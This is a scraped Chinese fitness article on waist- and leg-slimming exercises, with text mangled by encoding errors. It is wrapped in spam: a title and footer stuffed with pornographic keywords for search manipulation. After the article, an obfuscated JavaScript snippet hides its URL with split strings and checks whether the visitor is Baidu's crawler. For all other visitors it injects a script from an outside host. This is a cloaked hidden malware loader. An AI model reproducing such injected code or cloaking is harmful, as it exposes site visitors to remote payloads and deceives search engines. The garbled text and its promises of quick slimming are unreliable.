久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當(dāng)前位置:首頁 > 減肥 > 運(yùn)動減肥 > 正文

如何做瘦腰瘦腿運(yùn)動

2017-04-23 10:13:22  來源:360常識網(wǎng)   熱度:
導(dǎo)語:有一些產(chǎn)后的婦女都很抱怨自己的身材已經(jīng)走了樣了,尤其是腰粗胖腿直接不敢直視了,其實(shí)對于肥胖確實(shí)是非常的煩人的,而且也沒有很好的辦法

有一些產(chǎn)后的婦女都很抱怨自己的身材已經(jīng)走了樣了,尤其是腰粗胖腿直接不敢直視了,其實(shí)對于肥胖確實(shí)是非常的煩人的,而且也沒有很好的辦法來快速的減肥,飲食控制雖然是很不錯的,但是對于產(chǎn)后婦女來說還是采取運(yùn)動方式減肥的好,那么瘦腰瘦腿運(yùn)動如何更好的來做呢,簡單了解一下。

肌肉對健康、減肥塑形至關(guān)重要

當(dāng)肌肉組織減少,代謝率就會下降,即便平常的生活習(xí)慣沒有任何改變,也會慢慢胖起來。日本醫(yī)學(xué)博士久野譜也并指出,肌少型肥胖者容易罹患糖尿病、心肌梗塞、腦中風(fēng),高血壓的風(fēng)險(xiǎn)更高出正常者兩倍之多!增加肌肉量不僅為了減肥,對于健康更是至關(guān)重要。

鍛煉肌肉其實(shí)很省時,以下介紹3個簡單的肌力訓(xùn)練運(yùn)動,一周只要進(jìn)行2次以上、一次5分鐘,就能讓身體由內(nèi)而外回復(fù)青春,給你年輕時候的好體態(tài)!

強(qiáng)化下半身 深蹲

1.站姿,雙腳打開與肩同寬,手臂向前伸直。

2.接著,腰部下沉,膝蓋位置在腳尖之后。數(shù)到3,下蹲,再數(shù)到3,以雙腳力量回復(fù)原本的姿勢。

3.一組10下,做2組。千萬別讓膝蓋超過腳趾,不僅效果打折,還容易受傷。

鍛煉上半身 桌子伏地挺身

1.將雙手放在桌面上,向后退一步。

2.保持身體打直,如同做伏地挺身一樣,緩緩彎曲、伸直手臂。

3.一組10下,做2組。感到吃力的話可縮短桌子與腳的距離,也可以利用墻壁來做。

消除鮪魚肚 坐姿抬腿

1.淺坐于椅子上,雙手抓住椅子邊緣。

2.用手支撐全身,數(shù)到3,抬起膝蓋,再數(shù)到3,回復(fù)到原來的姿勢。

3.一組10下,做2組。過程請保持背部挺直,勿向后傾斜。

班族久坐問題多,其中最「有感」的煩惱就是水腫、肥胖、腰酸背痛和骨骼變形,不少愛美女性為了恢復(fù)姣好體態(tài),努力節(jié)食、按摩整脊,但稍有不慎就容易有營養(yǎng)失調(diào)和筋骨受傷的副作用。建議女性上班族可改做瘦身操以訓(xùn)練核心肌群,更安心地與肥油、酸痛說再見。

動作示范:腹肌運(yùn)動

上班族因工作型態(tài)的關(guān)系,長時間久坐或久站,且姿勢不正確,若無適當(dāng)舒展壓力、適時伸展放松肌肉及定時定量運(yùn)動,可能導(dǎo)致身體肥胖、脖子前傾、圓肩、駝背、肩頸酸痛及下肢水腫等問題。

瘦身舒筋骨 多做核心肌群運(yùn)動

若要改善和預(yù)防疼痛,日常應(yīng)注意保持正確姿勢,避免久坐久站及彎腰、搬重物;以彎膝、曲髖來取代彎腰;藉由核心肌群運(yùn)動訓(xùn)練背肌及腹肌力量,強(qiáng)化脊椎穩(wěn)定并增加脊椎柔軟度,可舒展筋骨、緩和肩頸及背痛不適。

至于肥胖,特別是容易囤積脂肪的腰腹部、臀部和大腿部位,也可透過運(yùn)動增加核心肌群肌力,改善氣血循環(huán),促進(jìn)新陳代謝,讓易囤積脂肪的部位不再松垮,進(jìn)而達(dá)到甩油塑身、減緩下肢水腫的纖體效果。此外,適度運(yùn)動也可強(qiáng)化心肺功能與免疫系統(tǒng),當(dāng)體內(nèi)含氧量越多,肌膚與器官就會更加年輕。

如何更好的做瘦腰瘦腿運(yùn)動呢,其實(shí)上面給大家講述的一些運(yùn)動方式還是很科學(xué)的,如果能夠嚴(yán)格按照上面的方法來鍛煉身體的話,肯定能夠在很短的時間之內(nèi)成功的瘦腿瘦腰的,因此想要減肥的話,就因該采取健康有效的運(yùn)動方式才行的。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 国产精品无码久久久久 | 91免费在线看 | 中文字幕不卡在线观看 | 国产成人免费视频网站视频社区 | 91久久国产综合久久91精品网站 | 伊人激情av一区二区三区 | 国产一级中文字幕 | 精品国产欧美 | 欧美视频网址 | 亚洲精品一区二区三区在线看 | 欧美日韩一区二区三区在线观看 | 成人a在线 | 手机在线观看毛片 | 黄色网址 | 超碰人人搞| 国产精品国产精品国产专区不片 | 午夜免费视频 | 国产成人一区二区三区影院在线 | 久久久国产精品免费 | 久久亚洲一区 | 国产精品女人视频 | 国产精品夜间视频香蕉 | 国产高清在线精品一区二区三区 | 欧美综合色 | 亚洲人成人一区二区在线观看 | 黑人黄色毛片 | 性色av一二三杏吧传媒 | 精品欧美一区二区三区精品久久 | 国产综合av | 九九精品视频在线 | 香蕉视频成人在线观看 | 色综合一区二区三区 | 亚洲激情自拍偷拍 | 日韩精品一区二区三区免费观看视频 | 欧美激情综合五月色丁香小说 | 久久一日本道色综合久久 | 蜜桃视频一区二区三区 | 久久精品一区二区三区四区 | 天天干天天谢 | 在线一区二区三区视频 | 国产成人精品久久二区二区91 |